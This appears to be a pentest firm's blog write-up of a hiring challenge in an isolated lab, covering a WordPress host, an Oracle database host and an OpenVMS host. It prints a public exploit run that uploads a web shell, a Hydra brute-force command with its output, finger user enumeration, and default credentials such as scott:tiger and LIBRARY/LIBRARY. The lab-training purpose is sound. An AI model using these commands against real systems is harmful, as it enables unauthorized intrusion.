Intro

Last year we decided to expand our pentest team, and we figured that offering a hands-on challenge would be a good filter for possible candidates, since we’ve accumulated quite a bit of experience from organizing wargames and CTF at various events. We provided an isolated network with three hosts and anyone could apply by submitting a name, and email address and a CV – we’ve sent VPN configuration packs to literally everyone who did so. These packs included the following message (the original was in Hungarian).

Your task is to perform a comprehensive (!) security assessment of the hosts within range 10.10.82.100-254.

Typical tasks of a professional penetration tester include

• asking relevant clarifying questions about new projects,
• writing the technical part of business proposals,
• comprehensive penetration testing,
• report writing and presentation.

That is why we decided to test the candidates’ knowledge about the above subjects. The scope of the challenge consisted of 3 servers, report writing and presentation to the technical staff with a time limit of two weeks. Here is our solution:

Challenge 1

As a warm-up exercise we created a simple web hacking challenge. Web applications are the most common targets in real-life projects and their typical vulnerabilities are well known. We created our challenge in form of a modified WordPress installation: we killed some security features and added some new vulnerabilities either to the core or in the form of plug-ins.

The default page of the web server was an empty “Index of” page that lead some into thinking that there was nothing hosted on the server. In reality the vulnerable application was located under the /wp/ path that could be easily discovered using most enumeration tools (like DirBuster).

It shouldn’t be long before one could stumble upon the first vulnerability: the search box right on the front page was vulnerable to reflective XSS:

This vulnerability was meant to be a gift to encourage contestants with a little feeling of success. Unfortunately, only one report contained this finding.

The blog also provided some means for authentication. First there was a password protected post, that could be opened using the infamous password “asdf1234”. The catch was that WordPress first hashes the password and places the hash in a cookie that is checked when rendering the post. This way standard login brute-forcers can’t be used but the problem can be solved in many ways. The crypt() method of WordPress can be reused to generate valid cookies or the application can be used as an oracle to generate the appropriate headers – the point was to get the applicant do some basic programming (or at least configuration) work.

The second authentication interface is of course the WordPress login interface (wp-login.php). The teszt:teszt credentials were valid on the system (we are a Hungarian company, “test” is spelled “teszt” in Hungarian). This can be brute-forced with standard tools – if the wordlist is customized for the target. We also provided test accounts for the participants. The given credentials only provided privileges to change basic user information. Although the application sent CSRF tokens with this form, they were not checked by the server.

More serious vulnerabilities could be found by enumerating installed WordPress plugins – wpscan output:

[+] We found 3 plugins:
[+] Name: akismet - v2.5.9
 | Location: http://10.10.82.153/wp/wp-content/plugins/akismet/<br></br> | Readme: http://10.10.82.153/wp/wp-content/plugins/akismet/readme.txt

[+] Name: sexy-contact-form - v0.9.6
 | Location: http://10.10.82.153/wp/wp-content/plugins/sexy-contact-form/
 | Readme: http://10.10.82.153/wp/wp-content/plugins/sexy-contact-form/readme.txt

[!] Title: Creative Contact Form  Reference: https://wpvulndb.com/vulnerabilities/7652
 Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8739
 Reference: http://www.exploit-db.com/exploits/35057/
[i] Fixed in: 1.0.0<br></br>

[+] Name: simple-login-log - v1.1.0
 | Location: http://10.10.82.153/wp/wp-content/plugins/simple-login-log/
 | Readme: http://10.10.82.153/wp/wp-content/plugins/simple-login-log/readme.txt

First take a look at Simple Login Log that “tracks user name, time of login, IP address and browser user agent”. Doing some simple tests on the User-Agent header on login shows that (our version of) the plugin is vulnerable to blind SQL injection:

The Sexy Contact Form is an interesting beast: when we installed the site last August we threw in random plugins to make the application more “interesting”. One of these plugins was SCF that turned out to be vulnerable to remote code execution last October. We left the plugin enabled to see if anyone notices it. No one did, although even the published exploit works out-of-the-box:

$ python 35057.py -t http://10.10.82.153/wp/ -c wordpress -f shell.php
[...snip...]
[!] Shell Uploaded
[!] http://10.10.82.153/wp//wp-content/plugins/sexy-contact-form/includes/fileupload/files/shell.php

Although the web challenge may seem like the easiest one, we tried to insert some more subtle vulnerabilities that would require more thinking and manual work from the contestants. The challenge aimed to

• test if the contestant has a good overview on web application security and
• takes care of every detail of the target.

Sadly, most of them only used fully automated tools, which couldn’t even recognize the most basic XSS (or even find the app). Nobody was able to find the CSRF, the post password, the SQLi or the RCE.

Challenge 2

The second challenge was located at 10.10.82.242. A simple port scan shows that there are some Oracle services listening:

Starting Nmap 6.25 ( http://nmap.org ) at 2015-04-01 09:41 CEST
Nmap scan report for 10.10.82.242
Host is up (0.021s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
53/tcp open domain dnsmasq 2.45
111/tcp open rpcbind 2 (RPC #100000)
1521/tcp open oracle-tns Oracle TNS Listener 10.2.0.3.0 (for Linux)
30316/tcp open oracle-tns Oracle TNS listener

From here the task was rather simple. One could follow basically any Oracle hacking tutorial to gain access to the database. First we needed to find some valid SIDs:

Then we could use the default wordlist of Metasploit to find some valid accounts:

As we can see, there were accounts registered with DBA role using default credentials. Even the good old scott:tiger combination was valid, and the database was vulnerable to multiple privilege escalation attacks. The time to DBA level access was comparable to the startup time of Metasploit – although it never hurts to have our tools properly configured, of course.

Since DBA level access was easy to achieve, OS level command execution could also be performed. An obvious way was to use Java stored procedures:

After one could overcome the limitations of Runtime.exec() (and SQL*Plus…) the system allowed opening connect-back shells without restriction. After a quick look around, the most elegant way to obtain root privileges was to use the beautiful $ORIGIN expansion exploit of Tavis Ormandy (yes, even GCC was installed):

The challenge presented a basic pentest task and required the candidates to follow basic tutorials (if they didn’t have enough Oracle-fu in their fingers, for example: http://www.blackhat.com/presentations/bh-usa-09/GATES/BHUSA09-Gates-OracleMetasploit-SLIDES.pdf). The most time consuming part was likely installing Oracle instant client and configuring Metaploit.

Only one participant was able to obtain DBA privileges, no one could execute OS level commands.

Challenge 3

The last target machine was located at 10.10.82.200. First of all the candidate should have done a port scan:

root@s2crew:~# nmap -sV -v -n  -T4 -sC 10.10.82.200
Nmap scan report for 10.10.82.200
Host is up (0.036s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE VERSION
21/tcp  open  ftp     OpenVMS ftpd 5.1
23/tcp  open  telnet  Pocket CMD telnetd
53/tcp  open  domain  dnsmasq 2.45
| dns-nsid: 
|_  bind.version: dnsmasq-2.45
79/tcp  open  finger  OpenVMS fingerd
| finger: Username     Program      Login     Term/Location
|_SYSTEM       $            Sun 02:21                                            
110/tcp open  pop3
|_pop3-capabilities: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:3E:C1:FC (VMware)
Service Info: Host: vms.silentsignal.hu; OS: OpenVMS; CPE: cpe:/o:hp:openvms

Oh, yes! This is an unbreakable OpenVMS operating system. I think there are only a couple of hackers out there who have remote exploits effective against this target. But a real hacker must solve the problems and discover the weak points of the tested systems, applications.
There is a finger service running on the host. Use Google to collect default OpenVMS accounts (http://cd.textfiles.com/group42/PHREAK/XENON/XENON7.HTM).
Having that, a simple shell script is enough to check the valid users:

root@s2crew:~# for i in `cat tmp.txt`;do finger [email protected];done
[10.10.82.200]
Username     Program      Login     Term/Location
SYSTEM       $            Sun 02:21                                            
 
Login name: SYSTEM         In real life: SYSTEM MANAGER              
Account: SYSTEM            Directory: SYS$SYSROOT:[SYSMGR]                      
Last login: Tue 10-DEC-2013 19:17:20
No Plan.
[10.10.82.200]
Login name: FIELD          In real life: FIELD SERVICE               
Account: FIELD             Directory: SYS$SYSROOT:[SYSMAINT]                    
Last login: [Never logged in]
No Plan.
[10.10.82.200]
Login name: SUPPORT        In real life: ???
[10.10.82.200]
Login name: SYSMAINT       In real life: ???
[10.10.82.200]
Login name: SYSTEST        In real life: SYSTEST-UETP                
Account: SYSTEST           Directory: SYS$SYSROOT:[SYSTEST]                     
Last login: [Never logged in]
No Plan.
[10.10.82.200]
Login name: SYSTEST_CLIG   In real life: ???
[10.10.82.200]
Login name: DEFAULT        In real life: ???
[10.10.82.200]
Login name: DECNET         In real life: ???
[10.10.82.200]
Login name: OPERATIONS     In real life: ???
[10.10.82.200]
Login name: USER           In real life: ???
[10.10.82.200]
Login name: LIBRARY        In real life: LIBRARY                     
Account: LIBRARY           Directory: SYS$SYSDEVICE:[LIBRARY]                   
Last login: Tue 10-DEC-2013 19:49:55
No Plan.
[10.10.82.200]
Login name: GUEST          In real life: ???
[10.10.82.200]
Login name: DEMO           In real life: DEMO                        
Account: DEMO              Directory: SYS$SYSDEVICE:[DEMO]                      
Last login: Tue 10-DEC-2013 19:43:11
No Plan.
[10.10.82.200]
Login name: HYTELNET       In real life: ???

There are lots of default user accounts in the system. Let’s see the default username/password combinations:

root@s2crew:~# hydra -L tmp.txt -e nsr -p 123456 telnet://10.10.82.200
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only
 
Hydra (http://www.thc.org/thc-hydra) starting at 2015-03-25 11:14:40
[WARNING] telnet is by its nature unreliable to analyze reliable, if possible better choose FTP or SSH if available
[DATA] 16 tasks, 1 server, 60 login tries (l:15/p:4), ~3 tries per task
[DATA] attacking service telnet on port 23
[STATUS] 37.00 tries/min, 37 tries in 00:01h, 23 todo in 00:01h, 16 active
[23][telnet] host: 10.10.82.200   login: LIBRARY   password: LIBRARY
[STATUS] attack finished for 10.10.82.200 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-03-25 11:16:19

The candidate could log in with the LIBRARY/LIBRARY account into the system:

root@s2crew:~# telnet 10.10.82.200
Trying 10.10.82.200...
Connected to 10.10.82.200.
Escape character is '^]'.
 
 
 Welcome to OpenVMS (TM) VAX Operating System, Version V7.3    
 
Username: LIBRARY
Password: 
 Welcome to OpenVMS (TM) VAX Operating System, Version V7.3
    Last interactive login on Tuesday, 10-DEC-2013 20:07
        1 failure since last successful login
$

Done! This kind of attack is really old and common; it takes approximately 5 to 10 minutes. We wanted to make sure that the candidate

• was not of afraid exotic or unknown systems,
• knew basic hacking concepts, and
• could use Google.

None of the candidates could solve this task!

Summary

For the report writing, the candidate should have used a search engine like Google. Some relevant and good results from the first page of the penetration testing report query:

• https://www.offensive-security.com/offsec/penetration-test-report-2013
• https://www.offensive-security.com/pwbonline/PWBv3-REPORT.doc
• http://www.sans.org/reading-room/whitepapers/bestprac/writing-penetration-testing-report-33343
• http://resources.infosecinstitute.com/writing-penetration-testing-reports
• http://www.pentest-standard.org/index.php/Reporting

Most people were never heard from again, two guys thanked us for the chance, and few candidates submitted an actual report.

The challenges were simple and common pentesting tasks. Most contestants couldn’t think like a professional hacker, but the bigger problem was that they couldn’t seem to use Google either. This is really surprising since some CVs were really impressive, including good research and relevant experience at international security companies. It quickly turned out though that a nice reference doesn’t replace hands-on experience. Most approached the challenges in a wrong way that suggests a lack of general concepts w.r.t systems security.

For those who want to make a career in penetration testing, we have two suggestions: Try harder and never stop learning!

For those who want to hire pentesters: In this profession papers are poor indicators. Real skills show themselves during real exercises.

And finally from our side: We are really, really disappointed :(

The Silent Signal pentest crew